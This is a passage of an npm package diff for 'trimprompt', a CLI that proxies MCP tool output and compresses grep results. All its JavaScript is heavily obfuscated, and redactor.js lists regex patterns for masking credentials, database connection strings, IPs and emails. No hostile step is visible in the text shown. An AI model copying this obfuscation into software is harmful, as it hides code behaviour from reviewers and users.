_0x4c89d6[_0x35823a(0x15a)](..._0x502652['slice'](0x0,0x32)),_0x4c89d6[_0x35823a(0x15a)](_0x35823a(0x15f)+(_0x502652[_0x35823a(0x172)]-0x50)+_0x35823a(0x161)),_0x4c89d6['push'](..._0x502652[_0x35823a(0x170)](-0x1e)),_0x4c89d6[_0x35823a(0x15a)]('\x0a('+_0x502652[_0x35823a(0x172)]+_0x35823a(0x167)),_0x4c89d6[_0x35823a(0x175)]('\x0a');}function filterGrep(_0x466ebd){const _0x42dbe7=a0_0x10a451,_0x23abc1=_0x466ebd['split']('\x0a')[_0x42dbe7(0x17d)](_0x47bc03=>_0x47bc03[_0x42dbe7(0x168)]()['length']>0x0);if(_0x23abc1['length']===0x0)return _0x42dbe7(0x173);if(_0x23abc1['length']<=0x32)return _0x466ebd['trim']();const _0x263c21={},_0x3bf0a2=[];for(const _0x2d8a98 of _0x23abc1){const _0x26e60b=_0x2d8a98[_0x42dbe7(0x165)](':');if(_0x26e60b>0x0&&_0x26e60b<0xc8){const _0x2dd8d2=_0x2d8a98['substring'](0x0,_0x26e60b);if(_0x2dd8d2[_0x42dbe7(0x17a)]('/')||_0x2dd8d2['includes']('\x5c')||_0x2dd8d2[_0x42dbe7(0x17a)]('.')){if(!_0x263c21[_0x2dd8d2])_0x263c21[_0x2dd8d2]=[];_0x263c21[_0x2dd8d2][_0x42dbe7(0x15a)](_0x2d8a98[_0x42dbe7(0x15c)](_0x26e60b+0x1)[_0x42dbe7(0x168)]());continue;}}_0x3bf0a2[_0x42dbe7(0x15a)](_0x2d8a98);}const _0x3331cd=[],_0x639a1c=Object[_0x42dbe7(0x163)](_0x263c21);if(_0x639a1c[_0x42dbe7(0x172)]>0x0){const _0x3d84ba=0x14,_0x39a964=_0x639a1c[_0x42dbe7(0x170)](0x0,_0x3d84ba);for(const _0x2d78a8 of _0x39a964){const _0x1bd9e0=_0x263c21[_0x2d78a8];if(_0x1bd9e0[_0x42dbe7(0x172)]<=0x3)for(const _0x5574ba of _0x1bd9e0){_0x3331cd['push'](_0x2d78a8+':\x20'+_0x5574ba);}else _0x3331cd[_0x42dbe7(0x15a)](_0x2d78a8+':\x20'+_0x1bd9e0[0x0]),_0x3331cd[_0x42dbe7(0x15a)](_0x2d78a8+':\x20...\x20('+_0x1bd9e0['length']+_0x42dbe7(0x16f));}_0x639a1c[_0x42dbe7(0x172)]>_0x3d84ba&&_0x3331cd[_0x42dbe7(0x15a)](_0x42dbe7(0x16b)+(_0x639a1c['length']-_0x3d84ba)+_0x42dbe7(0x16d));}if(_0x3bf0a2[_0x42dbe7(0x172)]>0x0){const _0x180d99=0x1e;_0x3331cd[_0x42dbe7(0x15a)](..._0x3bf0a2['slice'](0x0,_0x180d99)),_0x3bf0a2[_0x42dbe7(0x172)]>_0x180d99&&_0x3331cd['push']('...\x20+'+(_0x3bf0a2[_0x42dbe7(0x172)]-_0x180d99)+_0x42dbe7(0x15e));}const _0x22c68f=_0x23abc1[_0x42dbe7(0x172)];return _0x3331cd[_0x42dbe7(0x15a)]('\x0a('+_0x22c68f+_0x42dbe7(0x17b)+(_0x639a1c[_0x42dbe7(0x172)]||'?')+_0x42dbe7(0x174)),_0x3331cd['join']('\x0a');}
package/mcp.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x335412=a0_0x54f3;(function(_0x16b73e,_0x157988){const _0x3ec430=a0_0x54f3,_0x22bdd8=_0x16b73e();while(!![]){try{const _0x159124=parseInt(_0x3ec430(0x1ea))/0x1+-parseInt(_0x3ec430(0x1d9))/0x2+parseInt(_0x3ec430(0x1c2))/0x3+-parseInt(_0x3ec430(0x1c4))/0x4+-parseInt(_0x3ec430(0x1f2))/0x5+parseInt(_0x3ec430(0x1e6))/0x6*(-parseInt(_0x3ec430(0x1e0))/0x7)+parseInt(_0x3ec430(0x1e9))/0x8*(parseInt(_0x3ec430(0x1d0))/0x9);if(_0x159124===_0x157988)break;else _0x22bdd8['push'](_0x22bdd8['shift']());}catch(_0x179435){_0x22bdd8['push'](_0x22bdd8['shift']());}}}(a0_0x5f0e,0x1f3cb));var __createBinding=this&&this[a0_0x335412(0x1eb)]||(Object[a0_0x335412(0x1dc)]?function(_0x2168ae,_0xb32b90,_0x40d775,_0x5e8a0c){const _0xec437=a0_0x335412;if(_0x5e8a0c===undefined)_0x5e8a0c=_0x40d775;var _0x76e345=Object[_0xec437(0x1f0)](_0xb32b90,_0x40d775);(!_0x76e345||(_0xec437(0x1cf)in _0x76e345?!_0xb32b90['__esModule']:_0x76e345['writable']||_0x76e345['configurable']))&&(_0x76e345={'enumerable':!![],'get':function(){return _0xb32b90[_0x40d775];}}),Object[_0xec437(0x1e5)](_0x2168ae,_0x5e8a0c,_0x76e345);}:function(_0x47f1c8,_0x13c409,_0xe28106,_0x23121a){if(_0x23121a===undefined)_0x23121a=_0xe28106;_0x47f1c8[_0x23121a]=_0x13c409[_0xe28106];}),__setModuleDefault=this&&this[a0_0x335412(0x1e1)]||(Object[a0_0x335412(0x1dc)]?function(_0x14137a,_0x2b0560){const _0x4220c4=a0_0x335412;Object[_0x4220c4(0x1e5)](_0x14137a,_0x4220c4(0x1de),{'enumerable':!![],'value':_0x2b0560});}:function(_0x2fbf89,_0x18bbf4){const _0x5b8afc=a0_0x335412;_0x2fbf89[_0x5b8afc(0x1de)]=_0x18bbf4;}),__importStar=this&&this['__importStar']||(function(){var _0x44df9d=function(_0x5a59e2){const _0x3730b3=a0_0x54f3;return _0x44df9d=Object[_0x3730b3(0x1d4)]||function(_0x4bde6d){const _0x4e0683=_0x3730b3;var _0x275146=[];for(var _0x27ef11 in _0x4bde6d)if(Object[_0x4e0683(0x1d3)][_0x4e0683(0x1e2)]['call'](_0x4bde6d,_0x27ef11))_0x275146[_0x275146['length']]=_0x27ef11;return _0x275146;},_0x44df9d(_0x5a59e2);};return function(_0x437077){const _0x5c95d4=a0_0x54f3;if(_0x437077&&_0x437077[_0x5c95d4(0x1d1)])return _0x437077;var _0x43a926={};if(_0x437077!=null){for(var _0x349af9=_0x44df9d(_0x437077),_0x4582fb=0x0;_0x4582fb<_0x349af9[_0x5c95d4(0x1ed)];_0x4582fb++)if(_0x349af9[_0x4582fb]!=='default')__createBinding(_0x43a926,_0x437077,_0x349af9[_0x4582fb]);}return __setModuleDefault(_0x43a926,_0x437077),_0x43a926;};}());Object['defineProperty'](exports,a0_0x335412(0x1d1),{'value':!![]}),exports['runMcpProxy']=runMcpProxy;const child_process_1=require(a0_0x335412(0x1d5)),readline=__importStar(require(a0_0x335412(0x1f1))),filters_1=require(a0_0x335412(0x1c6)),tracker_1=require('./tracker');function a0_0x5f0e(){const _0x19c434=['spawn','length','result','close','getOwnPropertyDescriptor','readline','834405EYAoJR','81330SIiqbB','text','239240xSCyps','jsonrpc','./filters','trim','exit','stdout','mcp-tool-call','inherit','[TrimPrompt]\x20MCP\x20Server\x20Spawn\x20Error:\x20','logExecution','error','get','63WaBLrx','__esModule','write','prototype','getOwnPropertyNames','child_process','stringify','compressOutput','tracker','414576HLPKlc','string','content','create','mcp\x20tool\x20(id:\x20','default','pipe','564361uzZAbr','__setModuleDefault','hasOwnProperty','redaction_enabled','isArray','defineProperty','6BHtoFB','getConfig','parse','459872yPnSOJ','213051YsgaGX','__createBinding'];a0_0x5f0e=function(){return _0x19c434;};return a0_0x5f0e();}function a0_0x54f3(_0x4af3fb,_0x4901d0){_0x4af3fb=_0x4af3fb-0x1c2;const _0x5f0e4b=a0_0x5f0e();let _0x54f3f9=_0x5f0e4b[_0x4af3fb];return _0x54f3f9;}function runMcpProxy(_0x7eccc8,_0x5316c3){const _0x4265b9=a0_0x335412,_0x3ebe99=(0x0,child_process_1[_0x4265b9(0x1ec)])(_0x7eccc8,_0x5316c3,{'stdio':['pipe','pipe',_0x4265b9(0x1cb)]});process['stdin'][_0x4265b9(0x1df)](_0x3ebe99['stdin']);const _0x149c67=readline['createInterface']({'input':_0x3ebe99[_0x4265b9(0x1c9)],'terminal':![]});_0x149c67['on']('line',_0x485f46=>{const _0x398c17=_0x4265b9;try{const _0x1f1167=JSON[_0x398c17(0x1e8)](_0x485f46);if(_0x1f1167&&_0x1f1167[_0x398c17(0x1c5)]==='2.0'&&_0x1f1167['id']!==undefined&&_0x1f1167[_0x398c17(0x1ee)]&&Array[_0x398c17(0x1e4)](_0x1f1167[_0x398c17(0x1ee)][_0x398c17(0x1db)])){let _0x1b1447=![];for(const _0x5f4d41 of _0x1f1167[_0x398c17(0x1ee)][_0x398c17(0x1db)]){if(_0x5f4d41['type']===_0x398c17(0x1c3)&&typeof _0x5f4d41[_0x398c17(0x1c3)]===_0x398c17(0x1da)&&_0x5f4d41[_0x398c17(0x1c3)][_0x398c17(0x1c7)]()[_0x398c17(0x1ed)]>0x0){const _0x3fc481=_0x5f4d41[_0x398c17(0x1c3)],_0x581c23=(0x0,filters_1[_0x398c17(0x1d7)])(_0x398c17(0x1ca),_0x3fc481,'',tracker_1[_0x398c17(0x1d8)][_0x398c17(0x1e7)]()[_0x398c17(0x1e3)]);tracker_1[_0x398c17(0x1d8)][_0x398c17(0x1cd)](_0x398c17(0x1dd)+_0x1f1167['id']+')',_0x3fc481,_0x581c23,0x0),_0x5f4d41['text']=_0x581c23,_0x1b1447=!![];}}_0x1b1447?process[_0x398c17(0x1c9)]['write'](JSON[_0x398c17(0x1d6)](_0x1f1167)+'\x0a'):process['stdout']['write'](_0x485f46+'\x0a');}else process[_0x398c17(0x1c9)][_0x398c17(0x1d2)](_0x485f46+'\x0a');}catch{process['stdout'][_0x398c17(0x1d2)](_0x485f46+'\x0a');}}),_0x3ebe99['on'](_0x4265b9(0x1ef),_0x31ce71=>{const _0x443ff1=_0x4265b9;process[_0x443ff1(0x1c8)](_0x31ce71||0x0);}),_0x3ebe99['on'](_0x4265b9(0x1ce),_0x1fac68=>{const _0x44ca7b=_0x4265b9;console[_0x44ca7b(0x1ce)](_0x44ca7b(0x1cc)+_0x1fac68['message']),process[_0x44ca7b(0x1c8)](0x1);});}
1
+ 'use strict';function a0_0x5672(_0x5e0c2c,_0x501b97){_0x5e0c2c=_0x5e0c2c-0x138;const _0x57e1c8=a0_0x57e1();let _0x567225=_0x57e1c8[_0x5e0c2c];return _0x567225;}const a0_0x1ca336=a0_0x5672;(function(_0x1702c3,_0xdc4bba){const _0x983e9c=a0_0x5672,_0x3cad48=_0x1702c3();while(!![]){try{const _0x4f1f51=-parseInt(_0x983e9c(0x162))/0x1+parseInt(_0x983e9c(0x15d))/0x2+-parseInt(_0x983e9c(0x14c))/0x3*(-parseInt(_0x983e9c(0x157))/0x4)+-parseInt(_0x983e9c(0x165))/0x5+-parseInt(_0x983e9c(0x145))/0x6+-parseInt(_0x983e9c(0x144))/0x7*(parseInt(_0x983e9c(0x146))/0x8)+parseInt(_0x983e9c(0x15b))/0x9;if(_0x4f1f51===_0xdc4bba)break;else _0x3cad48['push'](_0x3cad48['shift']());}catch(_0x3eb647){_0x3cad48['push'](_0x3cad48['shift']());}}}(a0_0x57e1,0x5935a));function a0_0x57e1(){const _0x5165af=['./filters','19922742usiGDr','mcp-tool-call','109854Gkqxgg','message','__setModuleDefault','logExecution','default','474241wxnhwP','length','isArray','3545565yMpufn','write','redaction_enabled','defineProperty','exit','__createBinding','tracker','call','string','stdout','getOwnPropertyDescriptor','[TrimPrompt]\x20MCP\x20Server\x20Spawn\x20Error:\x20','getConfig','spawn','text','inherit','create','./tracker','readline','7FGRZWs','1280568ZUeksi','5548024HHpGXS','child_process','2.0','jsonrpc','stdin','createInterface','234VIIagi','compressOutput','runMcpProxy','trim','pipe','configurable','__esModule','error','type','result','parse','9596pxuQNr','writable','content'];a0_0x57e1=function(){return _0x5165af;};return a0_0x57e1();}var __createBinding=this&&this[a0_0x1ca336(0x16a)]||(Object[a0_0x1ca336(0x141)]?function(_0x1f3029,_0x591b5d,_0x2cace1,_0x2f73f5){const _0x3d8308=a0_0x1ca336;if(_0x2f73f5===undefined)_0x2f73f5=_0x2cace1;var _0x2d10d4=Object[_0x3d8308(0x13b)](_0x591b5d,_0x2cace1);(!_0x2d10d4||('get'in _0x2d10d4?!_0x591b5d['__esModule']:_0x2d10d4[_0x3d8308(0x158)]||_0x2d10d4[_0x3d8308(0x151)]))&&(_0x2d10d4={'enumerable':!![],'get':function(){return _0x591b5d[_0x2cace1];}}),Object['defineProperty'](_0x1f3029,_0x2f73f5,_0x2d10d4);}:function(_0x446532,_0x469cdf,_0xbe8c69,_0x1a237c){if(_0x1a237c===undefined)_0x1a237c=_0xbe8c69;_0x446532[_0x1a237c]=_0x469cdf[_0xbe8c69];}),__setModuleDefault=this&&this[a0_0x1ca336(0x15f)]||(Object[a0_0x1ca336(0x141)]?function(_0x1ff3e4,_0x23c780){const _0x37be4d=a0_0x1ca336;Object[_0x37be4d(0x168)](_0x1ff3e4,_0x37be4d(0x161),{'enumerable':!![],'value':_0x23c780});}:function(_0x366634,_0x13cc24){_0x366634['default']=_0x13cc24;}),__importStar=this&&this['__importStar']||(function(){var _0x5a1139=function(_0x180925){return _0x5a1139=Object['getOwnPropertyNames']||function(_0x8dd6ab){const _0x43fef2=a0_0x5672;var _0x298eab=[];for(var _0x326b0d in _0x8dd6ab)if(Object['prototype']['hasOwnProperty'][_0x43fef2(0x138)](_0x8dd6ab,_0x326b0d))_0x298eab[_0x298eab[_0x43fef2(0x163)]]=_0x326b0d;return _0x298eab;},_0x5a1139(_0x180925);};return function(_0x50ae34){const _0x2920c1=a0_0x5672;if(_0x50ae34&&_0x50ae34[_0x2920c1(0x152)])return _0x50ae34;var _0x347ea9={};if(_0x50ae34!=null){for(var _0x846167=_0x5a1139(_0x50ae34),_0x4fe552=0x0;_0x4fe552<_0x846167[_0x2920c1(0x163)];_0x4fe552++)if(_0x846167[_0x4fe552]!==_0x2920c1(0x161))__createBinding(_0x347ea9,_0x50ae34,_0x846167[_0x4fe552]);}return __setModuleDefault(_0x347ea9,_0x50ae34),_0x347ea9;};}());Object['defineProperty'](exports,'__esModule',{'value':!![]}),exports[a0_0x1ca336(0x14e)]=runMcpProxy;const child_process_1=require(a0_0x1ca336(0x147)),readline=__importStar(require(a0_0x1ca336(0x143))),filters_1=require(a0_0x1ca336(0x15a)),tracker_1=require(a0_0x1ca336(0x142));function runMcpProxy(_0x2fb390,_0x5a0043){const _0x2ebe1f=a0_0x1ca336,_0x5dcf99=(0x0,child_process_1[_0x2ebe1f(0x13e)])(_0x2fb390,_0x5a0043,{'stdio':[_0x2ebe1f(0x150),_0x2ebe1f(0x150),_0x2ebe1f(0x140)]});process[_0x2ebe1f(0x14a)][_0x2ebe1f(0x150)](_0x5dcf99[_0x2ebe1f(0x14a)]);const _0x1b1b78=readline[_0x2ebe1f(0x14b)]({'input':_0x5dcf99[_0x2ebe1f(0x13a)],'terminal':![]});_0x1b1b78['on']('line',_0x5109e8=>{const _0x2d3f43=_0x2ebe1f;try{const _0x5aa4bf=JSON[_0x2d3f43(0x156)](_0x5109e8);if(_0x5aa4bf&&_0x5aa4bf[_0x2d3f43(0x149)]===_0x2d3f43(0x148)&&_0x5aa4bf['id']!==undefined&&_0x5aa4bf[_0x2d3f43(0x155)]&&Array[_0x2d3f43(0x164)](_0x5aa4bf[_0x2d3f43(0x155)][_0x2d3f43(0x159)])){let _0xc370a5=![];for(const _0x5a8b37 of _0x5aa4bf[_0x2d3f43(0x155)][_0x2d3f43(0x159)]){if(_0x5a8b37[_0x2d3f43(0x154)]===_0x2d3f43(0x13f)&&typeof _0x5a8b37[_0x2d3f43(0x13f)]===_0x2d3f43(0x139)&&_0x5a8b37[_0x2d3f43(0x13f)][_0x2d3f43(0x14f)]()[_0x2d3f43(0x163)]>0x0){const _0x40c434=_0x5a8b37[_0x2d3f43(0x13f)],_0x4c28be=(0x0,filters_1[_0x2d3f43(0x14d)])(_0x2d3f43(0x15c),_0x40c434,'',tracker_1[_0x2d3f43(0x16b)][_0x2d3f43(0x13d)]()[_0x2d3f43(0x167)]);tracker_1['tracker'][_0x2d3f43(0x160)]('mcp\x20tool\x20(id:\x20'+_0x5aa4bf['id']+')',_0x40c434,_0x4c28be,0x0),_0x5a8b37['text']=_0x4c28be,_0xc370a5=!![];}}_0xc370a5?process['stdout'][_0x2d3f43(0x166)](JSON['stringify'](_0x5aa4bf)+'\x0a'):process[_0x2d3f43(0x13a)][_0x2d3f43(0x166)](_0x5109e8+'\x0a');}else process[_0x2d3f43(0x13a)]['write'](_0x5109e8+'\x0a');}catch{process['stdout'][_0x2d3f43(0x166)](_0x5109e8+'\x0a');}}),_0x5dcf99['on']('close',_0x38d8ec=>{const _0x108eda=_0x2ebe1f;process[_0x108eda(0x169)](_0x38d8ec||0x0);}),_0x5dcf99['on']('error',_0xd7beba=>{const _0x2e9446=_0x2ebe1f;console[_0x2e9446(0x153)](_0x2e9446(0x13c)+_0xd7beba[_0x2e9446(0x15e)]),process[_0x2e9446(0x169)](0x1);});}
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "trimprompt",
3
- "version": "1.0.12",
3
+ "version": "1.0.14",
4
4
  "description": "TrimPrompt.ai Client CLI & Local Developer Dashboard",
5
5
  "main": "cli.js",
6
6
  "bin": {
package/redactor.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x410d95=a0_0x2acc;(function(_0x18cd5e,_0x3c2839){const _0x2e40af=a0_0x2acc,_0x26499a=_0x18cd5e();while(!![]){try{const _0x3a5726=-parseInt(_0x2e40af(0x17f))/0x1*(parseInt(_0x2e40af(0x188))/0x2)+parseInt(_0x2e40af(0x191))/0x3+-parseInt(_0x2e40af(0x183))/0x4+-parseInt(_0x2e40af(0x18f))/0x5+-parseInt(_0x2e40af(0x17b))/0x6+-parseInt(_0x2e40af(0x18c))/0x7*(parseInt(_0x2e40af(0x18b))/0x8)+parseInt(_0x2e40af(0x185))/0x9*(parseInt(_0x2e40af(0x17e))/0xa);if(_0x3a5726===_0x3c2839)break;else _0x26499a['push'](_0x26499a['shift']());}catch(_0x5816ed){_0x26499a['push'](_0x26499a['shift']());}}}(a0_0x21ce,0x83c22));function a0_0x21ce(){const _0x343e4e=['518rHokKk','defineProperty','regex','4682900TQfgPl','IPv4\x20Address','36312DLVGoR','$1:\x20[REDACTED_CREDENTIAL]','[REDACTED_IP]','886002hhVAal','Redactor','Email\x20Address','33845230seNACf','753983Lwxjsv','replace','redact','redactor','3485228NQtAUz','replacement','9WHPVSc','loadDefaultRules','[REDACTED_EMAIL]','2TVFgZu','__esModule','rules','15936hBLnNn'];a0_0x21ce=function(){return _0x343e4e;};return a0_0x21ce();}Object[a0_0x410d95(0x18d)](exports,a0_0x410d95(0x189),{'value':!![]}),exports['redactor']=exports['Redactor']=void 0x0;class Redactor{[a0_0x410d95(0x18a)]=[];constructor(){this['loadDefaultRules']();}[a0_0x410d95(0x186)](){const _0x3a7bab=a0_0x410d95;this['rules']=[{'name':'Database\x20Connection\x20String','regex':/(mongodb|postgres|postgresql|mysql|redis|sqlite):\/\/[a-zA-Z0-9_]+:[^@\s\n]+@[^\s\n]+/gi,'replacement':'[REDACTED_DB_CONNECTION_STRING]'},{'name':'API\x20Key\x20or\x20Password','regex':/(api[_-]?key|secret|password|passwd|auth|token|private[_-]?key)[\s:=]+[a-zA-Z0-9_-]{16,}/gi,'replacement':_0x3a7bab(0x192)},{'name':_0x3a7bab(0x190),'regex':/\b(?!127\.0\.0\.1|255\.255\.255\.0)(?:[0-9]{1,3}\.){3}[0-9]{1,3}\b/g,'replacement':_0x3a7bab(0x17a)},{'name':_0x3a7bab(0x17d),'regex':/\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b/g,'replacement':_0x3a7bab(0x187)}];}[a0_0x410d95(0x181)](_0x78c163){const _0x17ee8f=a0_0x410d95;let _0x1fe49b=_0x78c163;for(const _0x3f9ea6 of this['rules']){_0x1fe49b=_0x1fe49b[_0x17ee8f(0x180)](_0x3f9ea6[_0x17ee8f(0x18e)],_0x3f9ea6[_0x17ee8f(0x184)]);}return _0x1fe49b;}}function a0_0x2acc(_0x48e52c,_0x1b5d0e){_0x48e52c=_0x48e52c-0x17a;const _0x21ce7f=a0_0x21ce();let _0x2acc8b=_0x21ce7f[_0x48e52c];return _0x2acc8b;}exports[a0_0x410d95(0x17c)]=Redactor,exports[a0_0x410d95(0x182)]=new Redactor();
1
+ 'use strict';const a0_0x1edef7=a0_0x36e6;(function(_0x580aa8,_0x40e50e){const _0x5144e0=a0_0x36e6,_0x408d78=_0x580aa8();while(!![]){try{const _0x55301b=parseInt(_0x5144e0(0xea))/0x1*(-parseInt(_0x5144e0(0xe3))/0x2)+-parseInt(_0x5144e0(0xf4))/0x3*(parseInt(_0x5144e0(0xf1))/0x4)+-parseInt(_0x5144e0(0xdc))/0x5*(parseInt(_0x5144e0(0xde))/0x6)+parseInt(_0x5144e0(0xe8))/0x7+-parseInt(_0x5144e0(0xe0))/0x8*(-parseInt(_0x5144e0(0xef))/0x9)+-parseInt(_0x5144e0(0xf5))/0xa+-parseInt(_0x5144e0(0xe5))/0xb*(-parseInt(_0x5144e0(0xe6))/0xc);if(_0x55301b===_0x40e50e)break;else _0x408d78['push'](_0x408d78['shift']());}catch(_0x49d380){_0x408d78['push'](_0x408d78['shift']());}}}(a0_0x1083,0xd1da2));Object[a0_0x1edef7(0xe2)](exports,'__esModule',{'value':!![]}),exports[a0_0x1edef7(0xf0)]=exports['Redactor']=void 0x0;function a0_0x36e6(_0x443e20,_0x1c20db){_0x443e20=_0x443e20-0xdc;const _0x10831b=a0_0x1083();let _0x36e6bc=_0x10831b[_0x443e20];return _0x36e6bc;}class Redactor{[a0_0x1edef7(0xeb)]=[];constructor(){this['loadDefaultRules']();}[a0_0x1edef7(0xe7)](){const _0x1f5ece=a0_0x1edef7;this[_0x1f5ece(0xeb)]=[{'name':_0x1f5ece(0xec),'regex':/(mongodb|postgres|postgresql|mysql|redis|sqlite):\/\/[a-zA-Z0-9_]+:[^@\s\n]+@[^\s\n]+/gi,'replacement':_0x1f5ece(0xe4)},{'name':_0x1f5ece(0xee),'regex':/(api[_-]?key|secret|password|passwd|auth|token|private[_-]?key)[\s:=]+[a-zA-Z0-9_-]{16,}/gi,'replacement':_0x1f5ece(0xf3)},{'name':_0x1f5ece(0xed),'regex':/\b(?!127\.0\.0\.1|255\.255\.255\.0)(?:[0-9]{1,3}\.){3}[0-9]{1,3}\b/g,'replacement':_0x1f5ece(0xdf)},{'name':_0x1f5ece(0xe9),'regex':/\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b/g,'replacement':_0x1f5ece(0xdd)}];}['redact'](_0x3846dc){const _0x27bff0=a0_0x1edef7;let _0x409180=_0x3846dc;for(const _0x451f4a of this[_0x27bff0(0xeb)]){_0x409180=_0x409180[_0x27bff0(0xf2)](_0x451f4a['regex'],_0x451f4a['replacement']);}return _0x409180;}}function a0_0x1083(){const _0x2de5c0=['5601416Ejcciq','replace','$1:\x20[REDACTED_CREDENTIAL]','3JDPJvO','16855420iTdwEf','10kEzWLf','[REDACTED_EMAIL]','3555996FKFiPi','[REDACTED_IP]','1024QlzQnF','Redactor','defineProperty','2AZlZps','[REDACTED_DB_CONNECTION_STRING]','26708ODxbey','23244hXVnVl','loadDefaultRules','2231649ViKSlq','Email\x20Address','999029RwjnLE','rules','Database\x20Connection\x20String','IPv4\x20Address','API\x20Key\x20or\x20Password','77904rQNTVB','redactor'];a0_0x1083=function(){return _0x2de5c0;};return a0_0x1083();}exports[a0_0x1edef7(0xe1)]=Redactor,exports[a0_0x1edef7(0xf0)]=new Redactor();
package/seed.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x3eecdb=a0_0x3ff9;function a0_0x3ff9(_0x4b9f66,_0x2efa31){_0x4b9f66=_0x4b9f66-0x8c;const _0xd6a5c9=a0_0xd6a5();let _0x3ff99b=_0xd6a5c9[_0x4b9f66];return _0x3ff99b;}(function(_0x2efa0d,_0x4bb190){const _0x53e3b4=a0_0x3ff9,_0x572bb6=_0x2efa0d();while(!![]){try{const _0x2b3ba5=parseInt(_0x53e3b4(0xa9))/0x1+-parseInt(_0x53e3b4(0xaa))/0x2*(parseInt(_0x53e3b4(0x9f))/0x3)+-parseInt(_0x53e3b4(0xa6))/0x4+parseInt(_0x53e3b4(0xa7))/0x5+-parseInt(_0x53e3b4(0xa5))/0x6+parseInt(_0x53e3b4(0xa2))/0x7*(parseInt(_0x53e3b4(0xa8))/0x8)+parseInt(_0x53e3b4(0x8e))/0x9;if(_0x2b3ba5===_0x4bb190)break;else _0x572bb6['push'](_0x572bb6['shift']());}catch(_0x24cc05){_0x572bb6['push'](_0x572bb6['shift']());}}}(a0_0xd6a5,0xe8678));Object['defineProperty'](exports,a0_0x3eecdb(0x9e),{'value':!![]});function a0_0xd6a5(){const _0x35c799=['[INFO]\x20Building\x20modules...\x0a','log','test_db.py\x20PASS\x0a','Step\x203/10\x20:\x20RUN\x20npm\x20install\x0a','Step\x201/10\x20:\x20FROM\x20node:20\x0a','test_api.py\x20PASS\x0a','test_auth.py\x20PASS\x0a','Step\x202/10\x20:\x20COPY\x20package.json\x20.\x0a','repeat','Optimizing\x20assets...\x0a','Sending\x20build\x20context\x20to\x20Docker\x20daemon...\x0a','All\x20303\x20tests\x20passed\x20in\x204.22s.','logExecution','Seeding\x20TrimPrompt\x20database\x20with\x20mock\x20LLM\x20command\x20telemetry...','__esModule','117qGmFGh','docker\x20build\x20.','docker\x20build:\x201420\x20packages\x20added.\x20Successfully\x20built\x20image.','7KNJWAq','./tracker','pytest\x20app:\x20303\x20tests\x20passed\x20in\x204.22s.','6795612sBdsfl','3089020gXaSeb','2870395GHZSlO','1613552UjYZrZ','932424dAaGfB','91854bWgZjK','tracker','gemini-1-5-pro','Successfully\x20built\x20image.','26457669JEMzNq','npm\x20run\x20build'];a0_0xd6a5=function(){return _0x35c799;};return a0_0xd6a5();}const tracker_1=require(a0_0x3eecdb(0xa3));console[a0_0x3eecdb(0x91)](a0_0x3eecdb(0x9d)),process.env.TRIMPROMPT_MODEL='claude-3-opus',tracker_1[a0_0x3eecdb(0xab)][a0_0x3eecdb(0x9c)](a0_0x3eecdb(0x8f),'Compilation\x20Output:\x0a'+a0_0x3eecdb(0x90)+a0_0x3eecdb(0x99)+'[SUCCESS]\x20Compiled\x20512\x20modules.\x0a'[a0_0x3eecdb(0x98)](0x190),'[INFO]\x20Building\x20modules...\x0a[SUCCESS]\x20Compiled\x20512\x20modules.\x20(repeated\x20400\x20times)',0x0),process.env.TRIMPROMPT_MODEL='gpt-4o',tracker_1['tracker'][a0_0x3eecdb(0x9c)]('pytest\x20tests/app','Test\x20suite\x20run\x20starting...\x0a'+a0_0x3eecdb(0x96)+a0_0x3eecdb(0x92)+a0_0x3eecdb(0x95)['repeat'](0x12c)+a0_0x3eecdb(0x9b),a0_0x3eecdb(0xa4),0x0),process.env.TRIMPROMPT_MODEL=a0_0x3eecdb(0x8c),tracker_1[a0_0x3eecdb(0xab)]['logExecution'](a0_0x3eecdb(0xa0),a0_0x3eecdb(0x9a)+a0_0x3eecdb(0x94)+a0_0x3eecdb(0x97)+a0_0x3eecdb(0x93)+'added\x201420\x20packages\x20in\x2014s\x0a'[a0_0x3eecdb(0x98)](0x3)+a0_0x3eecdb(0x8d),a0_0x3eecdb(0xa1),0x0),console[a0_0x3eecdb(0x91)]('Database\x20successfully\x20seeded!');
1
+ 'use strict';const a0_0x490ebe=a0_0x2f16;(function(_0x6d3703,_0x362bd9){const _0x514658=a0_0x2f16,_0x21bfcb=_0x6d3703();while(!![]){try{const _0x3eeacd=-parseInt(_0x514658(0xfa))/0x1*(parseInt(_0x514658(0x108))/0x2)+-parseInt(_0x514658(0x111))/0x3*(-parseInt(_0x514658(0x10a))/0x4)+parseInt(_0x514658(0x102))/0x5+-parseInt(_0x514658(0x101))/0x6+-parseInt(_0x514658(0x10c))/0x7*(parseInt(_0x514658(0xf6))/0x8)+parseInt(_0x514658(0xfc))/0x9*(parseInt(_0x514658(0xf2))/0xa)+parseInt(_0x514658(0x104))/0xb;if(_0x3eeacd===_0x362bd9)break;else _0x21bfcb['push'](_0x21bfcb['shift']());}catch(_0x2bd774){_0x21bfcb['push'](_0x21bfcb['shift']());}}}(a0_0x2c54,0x4ec3d));function a0_0x2c54(){const _0x448ccb=['170cpXLfm','Seeding\x20TrimPrompt\x20database\x20with\x20mock\x20LLM\x20command\x20telemetry...','4EGcSIG','gemini-1-5-pro','1015847YFMvUU','logExecution','pytest\x20tests/app','./tracker','pytest\x20app:\x20303\x20tests\x20passed\x20in\x204.22s.','434670wMwrQB','test_auth.py\x20PASS\x0a','claude-3-opus','docker\x20build\x20.','npm\x20run\x20build','tracker','8890OuRJPN','[INFO]\x20Building\x20modules...\x0a[SUCCESS]\x20Compiled\x20512\x20modules.\x20(repeated\x20400\x20times)','[INFO]\x20Building\x20modules...\x0a','log','8yStttE','defineProperty','gpt-4o','test_db.py\x20PASS\x0a','2705nTRwge','repeat','2457JPMIZW','docker\x20build:\x201420\x20packages\x20added.\x20Successfully\x20built\x20image.','__esModule','test_api.py\x20PASS\x0a','All\x20303\x20tests\x20passed\x20in\x204.22s.','3617508CLgNkN','41475pnoocT','Compilation\x20Output:\x0a','9951733qXCTlT','Test\x20suite\x20run\x20starting...\x0a','Database\x20successfully\x20seeded!','Successfully\x20built\x20image.'];a0_0x2c54=function(){return _0x448ccb;};return a0_0x2c54();}Object[a0_0x490ebe(0xf7)](exports,a0_0x490ebe(0xfe),{'value':!![]});function 